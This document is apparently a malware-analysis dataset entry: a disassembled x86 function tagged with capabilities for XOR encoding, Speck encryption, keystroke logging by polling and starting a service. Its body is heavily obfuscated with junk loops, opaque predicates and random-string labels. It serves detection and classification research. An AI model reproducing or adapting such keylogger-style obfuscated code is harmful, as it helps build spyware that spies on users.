Function at 0x10033eb1
Capabilities:
Encode data using xor
Encrypt data using speck
Log keystrokes via polling
Start service

Disassembly:
mov eax, 0x10063fcd
call fcn.10062638
sub esp, 0x498
push ebx
mov dword [ebp - 0x8c], ecx
xor ebx, ebx
xor ecx, ecx
mov dword [ebp - 0xc8], edx
push esi
inc ecx
mov dword [ebp - 0x1e4], ebx
push edi
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x1c], ebx
jmp 0x10033ef4
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x50], 0x558b
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x10033ee6
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x18], 0xfffffff7
jmp 0x10034016
mov dword [ebp - 0x1c], 0x14c405b4
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x1c], ebx
cmp dword [ebp - 0x1c], ebx
jg 0x10034013
xor edi, edi
push 2
lea ecx, [ebp - 0x98]
call fcn.10004f00
mov dword [ebp - 0x28], 0xa8551b32
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x24], ebx
jmp 0x10033f52
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x98]
mov dword [eax + ecx*4], 0xfffffffb
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 2
jl 0x10033f3f
mov eax, dword [ebp - 0x98]
mov dword [eax], ebx
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov ecx, dword [ebp + eax*4 - 0x50]
mov eax, dword [ebp - 0x98]
mov eax, dword [eax]
mov dword [ebp + eax*4 - 0x50], ecx
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
test eax, eax
mov eax, dword [ebp - 0x1c]
setle dl
xor ecx, ecx
cmp eax, edx
setg cl
xor edx, edx
mov dword [ebp - 0x28], ecx
imul ecx, dword [ebp - 0x28], 0x5d36
add ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x98]
cmp ecx, dword [eax]
mov eax, dword [ebp - 0x1c]
setl dl
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x50]
sub edx, eax
mov eax, dword [ebp - 0x18]
cmp eax, edx
mov eax, dword [ebp - 0x98]
setge cl
cmp ecx, dword [eax]
jge 0x10033fcf
lea eax, [edi + 1]
cmp dword [ebp - 0x50], ebx
jne 0x10033fd1
mov eax, ebx
xor edx, edx
test eax, eax
mov eax, dword [ebp - 0x1c]
setle dl
xor ecx, ecx
cmp edx, eax
setl cl
mov dword [ebp - 0x28], ecx
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x98]
dec dword [eax]
jns 0x10033f60
lea ecx, [ebp - 0x98]
call fcn.10004f62
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jle 0x10033f23
xor ecx, ecx
inc ecx
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xfffffff5
jle 0x10033f0b
mov byte [ebp - 0x6e], cl
mov byte [ebp - 0x64], cl
lea ecx, [ebp - 0xf8]
push 2
mov word [ebp - 0x70], 0x8e05
mov dword [ebp - 0x6d], 0xe0300
mov dword [ebp - 0x69], 0x41b0625
mov byte [ebp - 0x65], 0x3d
mov word [ebp - 0x63], 0x2c9
mov byte [ebp - 0x61], 0xe
call fcn.10004f00
mov dword [ebp - 4], ebx
mov dword [ebp - 0x24], 1
mov dword [ebp - 0x30], 0xffffffff
mov dword [ebp - 0x44], 0xcb1743e6
mov dword [ebp - 0x38], 0x3bdd
cmp dword [ebp - 0x38], 0x3c1e
jle 0x100340d1
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x28], 0x7125
mov esi, dword [ebp - 0x30]
mov edi, ebx
mov dword [ebp - 0x18], ebx
mov eax, ebx
mov ecx, 0x1007e2d8
xor eax, edi
or eax, esi
cdq
push edx
push eax
call fcn.10004c4e
inc ebx
cmp ebx, 0x435a
jl 0x10034092
inc edi
push 0
pop ebx
cmp edi, 0x734b
jl 0x1003408f
mov esi, dword [ebp - 0x34]
add dword [ebp - 0x30], esi
dec dword [ebp - 0x28]
jne 0x1003408a
inc esi
mov dword [ebp - 0x34], esi
cmp esi, 0x1c6c
jl 0x10034080
push 2
mov dword [ebp - 0x18], ebx
pop edi
jmp 0x100340ec
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0xf8]
mov dword [eax + ecx*4], 9
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x100340d9
mov byte [ebp - 4], 1
cmp dword [ebp - 0x38], 0x38a1
jge 0x1003412b
mov edx, str.peseq_zjsotwk_govo_pcgh_mjwgouz_bqcdqpfk_vjszhdefe_pyjnj_jxrptc_mfjmdc
mov ecx, 0x1007e2d8
call fcn.1000714a
jmp 0x1003412b
mov dword [ebp - 4], ebx
mov dword [ebp - 0x24], 1
cmp dword [ebp - 0x24], ebx
jl 0x100343f6
mov dword [ebp - 0x1c], 0x7a888ada
mov dword [ebp - 0x18], 0x5fec46bc
mov dword [ebp - 0x1c], ebx
cmp dword [ebp - 0x1c], 1
jg 0x100343ee
mov dword [ebp - 0x2c], 0xfffffffd
lea ecx, [ebp - 0xec]
mov dword [ebp - 0x34], 0x7828451d
push 1
call fcn.10004f00
xor edi, edi
mov byte [ebp - 4], 3
mov dword [ebp - 0x18], ebx
inc edi
jmp 0x10034193
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0xec]
mov dword [eax + ecx*4], 0x9dbe4fcd
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x10034180
mov byte [ebp - 0x1d], bl
cmp byte [ebp - 0x1d], 0
je 0x10034259
mov dword [ebp - 0x28], 0x691
cmp dword [ebp - 0x28], 0x94e
jle 0x100341e2
mov esi, ebx
mov dword [ebp - 0x34], ebx
mov ecx, ebx
mov eax, esi
shl eax, cl
mov ecx, 0x1007e2d8
cdq
push edx
push eax
call fcn.10004c4e
inc ebx
cmp ebx, 0x5dfe
jl 0x100341ba
inc esi
push 0
pop ebx
cmp esi, 0xff
jl 0x100341b7
push 0x11fc
push 0xb40
push 0x1d0
push 0xab5
push 0x98b
push 0x21a1
push 0x26c6
push 0x9a6
push 0x2148
call dword [sym.imp.GDI32.dll_BitBlt]
mov byte [ebp - 4], 4
cmp dword [ebp - 0x28], 0x34b
jge 0x10034252
mov edx, str.migvyf_qznetpja_uysgvu_ctnu_tqxtgzoyq_aoeayn_xbqftjjb_dragku_xifr_adcrkwq_tlmtf_pwfq_nqjjg_mvgiecatm
mov ecx, 0x1007e2d8
call fcn.1000714a
jmp 0x10034252
mov dword [ebp - 4], 3
mov eax, dword [ebp - 0x1c]
or ecx, 0xffffffff
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, ebx
cmp dword [ebp - 0x1c], ebx
je 0x1003426e
mov eax, edi
mov esi, dword [ebp - 0x24]
cmp ecx, eax
sbb eax, eax
xor edx, edx
neg eax
cmp eax, 0x51efdb
mov eax, dword [ebp - 0x24]
setge dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0xf8]
setle cl
xor edx, edx
cmp ecx, 0x3a3dbc56
setl dl
sub edx, dword [eax + esi*4]
cmp edx, dword [ebp - 0x1c]
jg 0x100342ab
mov eax, ebx
cmp dword [ebp - 0x1c], ebx
je 0x100342ad
mov eax, edi
mov dword [ebp - 0x2c], eax
xor edx, edx
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x30], eax
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x24]
cmp ecx, eax
setl dl
add edx, dword [ebp - 0x1c]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
cmp eax, dword [ebp - 0x1c]
jg 0x100343ab
mov dword [ebp - 0x38], 0xfffffffc
lea ecx, [ebp - 0x164]
push 2
call fcn.10004f00
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x2c], ebx
jmp 0x1003430a
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x164]
mov dword [eax + ecx*4], 0x32f4bb0f
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 2
jl 0x100342f7
mov byte [ebp - 0x1d], bl
cmp byte [ebp - 0x1d], 0
je 0x10034326
push ebx
push ebx
push 0x1888
call dword [sym.imp.USER32.dll_EnumChildWindows]
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0xf8]
cmp dword [eax + ecx*4], ebx
jne 0x1003435c
mov eax, dword [ebp - 0x44]
mov edi, ebx
mov edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0xec]
dec edx
neg edx
sbb edx, edx
xor ecx, ecx
neg edx
cmp dword [eax], edx
mov eax, dword [ebp - 0x164]
setne cl
mov dword [eax + 4], ecx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x38]
xor ecx, ecx
mov eax, dword [ebp - 0x38]
cmp eax, edi
mov eax, dword [ebp - 0xec]
setl cl
xor edx, edx
cmp ecx, dword [eax]
mov eax, dword [ebp - 0x18]
setge dl
xor ecx, ecx
cmp edx, eax
setl cl
mov dword [ebp - 0x28], ecx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x38]
dec eax
cmp eax, dword [ebp - 0x38]
jg 0x10034398
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x24]
lea ecx, [ebp - 0x164]
mov dword [ebp - 0x30], ebx
call fcn.10004f62
jmp 0x100343d8
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], ebx
jl 0x100343d8
mov dword [ebp - 0x2c], ebx
jmp 0x100343ce
mov byte [ebp - 0x1d], bl
cmp byte [ebp - 0x1d], 0
je 0x100343c8
push ebx
call dword [sym.imp.GDI32.dll_CreateFontIndirectA]
mov eax, dword [ebp - 0x18]
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], edi
jle 0x100343b8
dec dword [ebp - 0x18]
jns 0x100343b3
lea ecx, [ebp - 0xec]
mov byte [ebp - 4], bl
call fcn.10004f62
inc dword [ebp - 0x1c]
jmp 0x1003414f
dec dword [ebp - 0x24]
jmp 0x10034135
or edi, 0xffffffff
lea ecx, [ebp - 0xf8]
mov dword [ebp - 4], edi
call fcn.10004f62
mov dl, byte [ebp - 0x6f]
movzx esi, byte [ebp - 0x70]
mov al, dl
or al, 0xe2
add esi, esi
movzx ecx, al
and dl, 0xe2
movzx eax, dl
sub cx, ax
mov dword [ebp - 0x44], esi
mov word [ebp + esi - 0x134], cx
lea ecx, [ebp - 0x1e0]
push 2
mov dword [ebp - 0x18], 0xfffffff8
mov dword [ebp - 0x30], edi
pop edi
mov dword [ebp - 0x1c], 0x445acee6
push edi
call fcn.10004f00
mov dword [ebp - 0x18], ebx
jmp 0x1003445f
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1e0]
mov dword [eax + ecx*4], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x10034450
xor esi, esi
mov dword [ebp - 0x18], 0x10
inc esi
cmp dword [ebp - 0x18], 0x1a
jne 0x100344e6
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x38], 0xfffffffe
mov eax, dword [ebp - 0x34]
sub eax, dword [ebp - 0x34]
je 0x1003448d
mov edx, esi
cmp dword [ebp - 0x34], ebx
jne 0x1003448f
mov edx, ebx
mov eax, dword [ebp - 0x18]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
cmp ecx, esi
sbb eax, eax
neg eax
sub edx, eax
jne 0x100344ab
mov edx, esi
cmp dword [ebp - 0x30], ebx
je 0x100344ad
mov edx, ebx
mov eax, dword [ebp - 0x30]
xor ecx, ecx
cmp edx, eax
sete cl
xor eax, eax
imul ecx, dword [ebp - 0x30]
cmp ecx, 0xfffffff7
setge al
xor ecx, ecx
mov dword [ebp - 0x38], eax
mov edx, dword [ebp - 0x38]
imul edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
cmp edx, eax
setne cl
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x38], 0xc299e885
inc dword [ebp - 0x18]
jmp 0x1003446e
mov dword [ebp - 0x1c], ebx
jmp 0x100344fe
mov byte [ebp - 0x1d], bl
cmp byte [ebp - 0x1d], 0
je 0x100344fb
push ebx
call dword [sym.imp.COMDLG32.dll_GetOpenFileNameW]
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jle 0x100344eb
lea ecx, [ebp - 0x1e0]
call fcn.10004f62
mov eax, dword [ebp - 0x44]
add eax, 2
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0xbc], eax
mov dword [ebp - 0x24], 0x81c
lea ecx, [ebp - 0x14c]
mov dword [ebp - 0x34], 0xfffffff7
push edi
call fcn.10004f00
push esi
lea ecx, [ebp - 0x17c]
mov dword [ebp - 4], 6
call fcn.10004f00
mov dword [ebp - 0x44], 0xfffffff8
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x1c], ebx
jmp 0x1003456f
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x14c]
mov dword [eax + ecx*4], 9
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x1003455c
mov dword [ebp - 0x1c], ebx
jmp 0x10034588
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x17c]
mov dword [eax + ecx*4], ebx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x10034579
cmp dword [ebp - 0x24], ebx
je 0x1003461a
mov eax, dword [ebp - 0x24]
mov ecx, 0xffff
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
cmp ecx, eax
mov eax, dword [ebp - 0x24]
sbb edx, edx
xor ecx, ecx
neg edx
cmp edx, eax
setle cl
mov dword [ebp - 0x34], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x34]
cmp eax, 7
setge cl
xor edx, edx
cmp ecx, 0x4dbf0cf
setl dl
xor eax, eax
cmp edx, 0x162f6306
setne al
cmp eax, dword [ebp - 0x24]
je 0x100345ea
mov ecx, esi
cmp dword [ebp - 0x34], ebx
jne 0x100345ec
mov ecx, ebx
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x14c]
mov dword [eax], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x24]
test eax, eax
mov eax, dword [ebp - 0x24]
setle cl
xor edx, edx
dec ecx
cmp ecx, eax
mov eax, dword [ebp - 0x17c]
setle dl
mov dword [eax], edx
mov eax, esi
test edx, edx
jne 0x1003461c
mov eax, ebx
mov dword [ebp - 0x44], eax
mov byte [ebp - 0x1d], bl
cmp byte [ebp - 0x1d], 0
je 0x10034635
push ebx
push 0x2680
push ebx
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
lea ecx, [ebp - 0x17c]
call fcn.10004f62
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x14c]
call fcn.10004f62
mov ecx, dword [ebp - 0x2c]
cmp ecx, dword [ebp - 0xbc]
jne 0x1003466d
movzx eax, byte [ebp + ecx - 0x70]
dec ecx
add ecx, eax
lea edx, [eax + 1]
mov dword [ebp - 0x28], edx
jmp 0x100347c7
mov dword [ebp - 0x1c], 0xffffffff
mov dword [ebp - 0x30], 5
mov dword [ebp - 0x34], 0x8951
mov dword [ebp - 0x3c], 0xfffffff7
mov dword [ebp - 0x1c], ebx
jmp 0x1003469b
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x88], ebx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x1003468e
mov dword [ebp - 0x1c], ebx
jmp 0x100346b6
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xa0], 0xd37ad43
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x100346a5
mov dword [ebp - 0x1c], 7
cmp dword [ebp - 0x1c], 0x15
jg 0x10034792
mov dword [ebp - 0x18], 9
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x48], 0xfffffffc
push 0xfffffffffffffff9
pop eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x24], 0xa2b441a6
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x18], ebx
jmp 0x10034702
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1bc], esi
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x100346f5
mov eax, dword [ebp - 0x88]
xor edx, edx
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x88]
mov eax, dword [ebp - 0x34]
inc dword [ebp - 0x34]
mov ecx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x38]
cmp eax, ecx
setne dl
mov dword [ebp - 0x30], edx
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0xa0]
mov ecx, dword [ebp - 0x1b8]
mov eax, dword [ebp - 0xa0]
sub ecx, 0xfffd
neg ecx
sbb ecx, ecx
inc ecx
add eax, ecx
jne 0x10034769
mov eax, dword [ebp - 0xa0]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x1bc], 0xd46d2320
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0x15
jle 0x100346cc
mov ecx, dword [ebp - 0x2c]
movzx edx, byte [ebp + ecx - 0x6f]
sub ecx, dword [ebp - 0x28]
mov dword [ebp - 0x28], ebx
movzx eax, byte [ebp + ecx - 0x72]
movzx ecx, word [ebp + eax*2 - 0x134]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
mov eax, dword [ebp - 0x2c]
add ecx, edx
movzx eax, byte [ebp + eax - 0x70]
mov word [ebp + eax*2 - 0x134], cx
mov ecx, dword [ebp - 0x2c]
add ecx, edi
mov dword [ebp - 0x2c], ecx
cmp ecx, 0x10
jb 0x10034520
mov dword [ebp - 0x38], 0xbf8f0aa6
lea ecx, [ebp - 0x170]
mov dword [ebp - 0x30], 0x65720b96
push esi
call fcn.10004f00
mov dword [ebp - 0x18], ebx
jmp 0x10034807
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x170]
mov dword [eax + ecx*4], 0xd5befa1e
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x100347f4
mov byte [ebp - 0x1d], bl
cmp byte [ebp - 0x1d], 0
je 0x10034828
push ebx
push 0x5c0
push 0x2c
push 0x1ddd
call dword [sym.imp.GDI32.dll_GetCharABCWidthsFloatA]
mov edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
neg edx
sbb edx, edx
xor ecx, ecx
add edx, 0x3a266d22
cmp edx, eax
setl cl
mov dword [ebp - 0x30], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x30]
cmp eax, 0x7d7c118
setl cl
sub ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
cmp eax, ecx
setle dl
xor ecx, ecx
imul edx, dword [ebp - 0x38]
imul edx, dword [ebp - 0x38]
cmp edx, 0xf0a9b27f
setne cl
xor eax, eax
cmp ecx, 0xffffffff
setg al
cmp eax, esi
mov eax, dword [ebp - 0x170]
sbb ecx, ecx
inc ecx
mov dword [eax], ecx
lea ecx, [ebp - 0x170]
call fcn.10004f62
xor eax, eax
mov dword [ebp - 0x1c4], ebx
push 7
mov word [ebp - 0x126], ax
lea ecx, [ebp - 0x1d4]
pop edi
mov word [ebp - 0x1d4], ax
lea eax, [ebp - 0x134]
push eax
mov dword [ebp - 0x1c0], edi
call fcn.1000d22d
mov dword [ebp - 4], edi
lea eax, [ebp - 0x234]
push dword [ebp - 0x74]
movdqa xmm0, xmmword [0x10071380]
lea ecx, [ebp - 0xd4]
push eax
lea eax, [ebp - 0x244]
mov dword [ebp - 0x1c], 0xf782a183
push eax
push ebx
movdqu xmmword [ebp - 0x244], xmm0
mov dword [ebp - 0xd4], ebx
mov dword [ebp - 0xd0], ebx
mov dword [ebp - 0xcc], ebx
call fcn.100076b8
mov dword [ebp - 0x24], 0xffff
mov dword [ebp - 0x18], 0x5a44
mov dword [ebp - 0x28], 0x2a67f8b4
mov dword [ebp - 0x3c], 3
mov dword [ebp - 0x18], ebx
jmp 0x10034940
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x234], 0xffffffff
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x1003492f
cmp dword [ebp - 0x1c], ebx
jne 0x10034962
mov eax, dword [ebp - 0x1c]
mov ecx, ebx
mov dword [ebp - 0x228], eax
mov dword [ebp - 0x228], 0xcb61
jmp 0x10034964
mov ecx, esi
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
je 0x10034976
mov edx, esi
cmp dword [ebp - 0x24], ebx
jne 0x10034978
mov edx, ebx
mov eax, dword [ebp - 0xd4]
mov dword [eax], ecx
mov eax, dword [ebp - 0x24]
imul eax, edx
xor edx, edx
sub eax, dword [ebp - 0x1c]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
sub ecx, eax
mov eax, dword [ebp - 0x24]
cmp ecx, eax
mov eax, dword [ebp - 0x24]
setg dl
xor ecx, ecx
cmp edx, eax
setne cl
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x18], 0xffffffee
jmp 0x100349cc
mov byte [ebp - 0x1d], bl
cmp byte [ebp - 0x1d], 0
je 0x100349c9
push ebx
push ebx
push ebx
call dword [sym.imp.OLEAUT32.dll_SysStringByteLen]
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xb
je 0x100349b7
lea ecx, [ebp - 0xd4]
call fcn.10004f62
xor eax, eax
lea edi, [ebp - 0x134]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ebp - 0x3c], 0x1d19
cmp dword [ebp - 0x3c], 0x8fe
jge 0x10034b0a
call fcn.1004a8b8
push eax
push 0x1006c76c
push str.in.txt
call fcn.1004ad01
add esp, 0xc
call fcn.1004a8b8
add eax, 0x20
push eax
push 0x1006c778
push str.out.txt
call fcn.1004ad01
add esp, 0xc
lea eax, [ebp - 0xc0]
mov ecx, 0x1007e3f8
push eax
call fcn.1000c69a
mov eax, dword [ebp - 0xc0]
mov dword [ebp - 0x34], eax
test eax, eax
jle 0x10034b0a
lea eax, [ebp - 0xdc]
mov ecx, 0x1007e3f8
push eax
call fcn.1000c69a
push 0x234
lea eax, [ebp - 0x4a4]
push ebx
push eax
call fcn.1002896c
mov edi, dword [ebp - 0xdc]
add esp, 0xc
test edi, edi
jle 0x10034aa3
lea eax, [ebp - 0xe0]
mov ecx, 0x1007e3f8
push eax
call fcn.1000c69a
mov eax, dword [ebp - 0xe0]
inc dword [ebp + eax*4 - 0x270]
dec edi
jne 0x10034a82
lea eax, [ebp - 0xc4]
mov dword [ebp - 0x28], ebx
push eax
mov ecx, 0x1007e3f8
call fcn.1000c69a
mov edi, dword [ebp - 0xc4]
test edi, edi
jle 0x10034aed
lea eax, [ebp - 0xd8]
mov ecx, 0x1007e3f8
push eax
call fcn.1000c69a
mov eax, dword [ebp - 0xd8]
lea ecx, [ebp - 0x270]
shl eax, 2
sub ecx, eax
add ebx, dword [ecx]
dec edi
jne 0x10034ac1
mov dword [ebp - 0x28], ebx
xor ebx, ebx
push dword [ebp - 0x28]
mov ecx, 0x1007e2d8
call fcn.1000c895
push eax
call fcn.1000f261
dec dword [ebp - 0x34]
pop ecx
jne 0x10034a52
mov dword [ebp - 0x18], 0xf40f
mov dword [ebp - 0x24], 0x7ea0d018
mov dword [ebp - 0x28], 0xffffffff
mov dword [ebp - 0x34], 0xcf59
mov dword [ebp - 0x48], 0x7e78
push 2
mov dword [ebp - 0x3c], 0x47073e70
mov dword [ebp - 0x1c], ebx
pop edi
jmp 0x10034b4d
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x124], 0x8a52b4b5
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x10034b3c
mov dword [ebp - 0x1c], ebx
jmp 0x10034b64
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x250], ebx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x10034b57
cmp dword [ebp - 0x18], ebx
je 0x10034bdc
mov eax, dword [ebp - 0x18]
xor edx, edx
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x18]
cmp ecx, eax
mov esi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x124]
setl dl
sub esi, edx
neg esi
sbb esi, esi
xor ecx, ecx
inc esi
cmp esi, eax
mov eax, dword [ebp - 0x124]
setge cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x24]
setge dl
xor ecx, ecx
cmp eax, edx
setl cl
imul ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x3c], ecx
xor ecx, ecx
cmp dword [ebp - 0x3c], eax
setge cl
cmp ecx, dword [ebp - 0x18]
jg 0x10034bca
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x28]
xor esi, esi
mov eax, dword [ebp - 0x24]
inc esi
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x34]
imul eax, dword [ebp - 0x34], 0x5ab
test eax, eax
jne 0x10034bed
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
lea ecx, [ebp - 0x214]
mov eax, dword [ebp - 0x48]
push dword [ebp - 0xc8]
mov dword [ebp - 0x3c], eax
call fcn.10004d63
push esi
lea ecx, [ebp - 0x104]
mov byte [ebp - 4], 8
call fcn.10004f00
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x158]
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x24], esi
push 3
call fcn.10004f00
mov byte [ebp - 4], 0xa
mov dword [ebp - 0x1c], ebx
jmp 0x10034c4a
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x104]
mov dword [eax + ecx*4], 0xd5e48d32
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x10034c37
mov dword [ebp - 0x1c], ebx
jmp 0x10034c67
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x158]
mov dword [eax + ecx*4], 5
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x10034c54
mov dword [ebp - 0x1c], 0x6ef5
cmp dword [ebp - 0x1c], 0x6f34
jle 0x10034cf0
mov eax, ebx
mov dword [ebp - 0x34], ebx
mov ecx, ebx
mov dword [ebp - 0x38], ebx
cdq
idiv ecx
mov dword [ebp - 0x28], ebx
mov eax, ebx
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0x30], 0x5cd0
cdq
lea ecx, [ebp - 0x268]
push edx
push eax
call fcn.10001a65
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10034cb1
mov eax, dword [eax]
push eax
call fcn.1004a373
pop ecx
push ebx
push esi
lea ecx, [ebp - 0x268]
call fcn.10005270
mov eax, dword [ebp - 0x28]
add eax, dword [ebp - 0x3c]
dec dword [ebp - 0x30]
mov dword [ebp - 0x28], eax
jne 0x10034c99
mov ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x34]
inc ecx
mov dword [ebp - 0x38], ecx
cmp ecx, 0x5901
jl 0x10034c87
inc eax
mov dword [ebp - 0x34], eax
cmp eax, 0x3ba9
jl 0x10034c82
mov eax, dword [ebp - 0x104]
mov dword [eax], ebx
mov dword [ebp - 0x18], 0xddbc3707
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x18], ebx
jne 0x10034d15
cmp dword [ebp - 0x24], ebx
jne 0x10034d15
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x18]
neg eax
sbb eax, eax
inc eax
imul eax, dword [ebp - 0x18]
imul ecx, eax, 0x7c8b
mov eax, dword [ebp - 0x158]
mov dword [eax], ecx
cmp dword [ebp - 0x18], ebx
jne 0x10034d44
mov eax, dword [ebp - 0x104]
inc dword [eax]
cmp dword [eax], 0xa
jne 0x10034cf8
cmp dword [ebp - 0x1c], 0x6e00
jge 0x10034d58
push str.fvtvdbm_hsgfun_neoyzq_xsjnef_bja_wqnj_xjqkqbvn_zcpqwih_exe_wrffm_tylfahyq_wxnovoww
call fcn.1004a373
pop ecx
lea ecx, [ebp - 0x158]
mov dword [ebp - 4], 0xa
call fcn.10004f62
lea ecx, [ebp - 0x104]
mov byte [ebp - 4], 8
call fcn.10004f62
mov dword [ebp - 0x34], 0xfffe
xor edx, edx
mov dword [ebp - 0x34], 0x3126ff23
